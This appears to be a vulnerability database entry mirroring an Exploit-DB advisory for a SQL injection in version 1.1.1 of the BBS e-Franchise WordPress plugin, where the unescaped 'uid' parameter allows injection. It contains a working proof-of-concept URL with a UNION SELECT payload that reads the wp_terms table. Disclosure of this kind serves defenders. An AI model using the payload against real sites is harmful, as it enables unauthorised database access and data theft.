BBS e-Franchise 1.1.1 Plugin of WordPress – Sql Injection

vendor:

BBS e-Franchise

by:

Lenon Leite

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: BBS e-Franchise

Affected Version From: 1.1.1

Affected Version To: 1.1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:bbs_e-franchise:1.1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 8.1

2016

BBS e-Franchise 1.1.1 Plugin of WordPress – Sql Injection

$_GET['uid'] is not escaped, allowing an attacker to inject arbitrary SQL commands. An attacker can exploit this vulnerability by crafting a malicious URL and sending it to a victim. The malicious URL contains a specially crafted SQL query that is injected into the application's database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

# Exploit Title: BBS e-Franchise 1.1.1 Plugin of WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/bbs-e-franchise/
# Software Link: https://wordpress.org/plugins/bbs-e-franchise/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.1.1
# Tested on: Windows 8.1

1 - Description:

$_GET[‘uid’] is not escaped. Url is accessible for any user.
I will have find post or page that usage plugin, that use shortcode

http://lenonleite.com.br/en/blog/2016/11/18/bbs-e-franchise-1-1-1-plugin-of-wordpress-sql-injection/


2 - Proof of Concept:

http://target/2016/09/26/ola-mundo-2/?uid=0+UNION+SELECT+1,2,3,4,name,6,7,8,9,10,11,12,13,14,15,slug,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+wp_terms+WHERE+term_id=1


3 - Timeline:
12/11/2016 - Discovered
12/11/2016 - vendor not found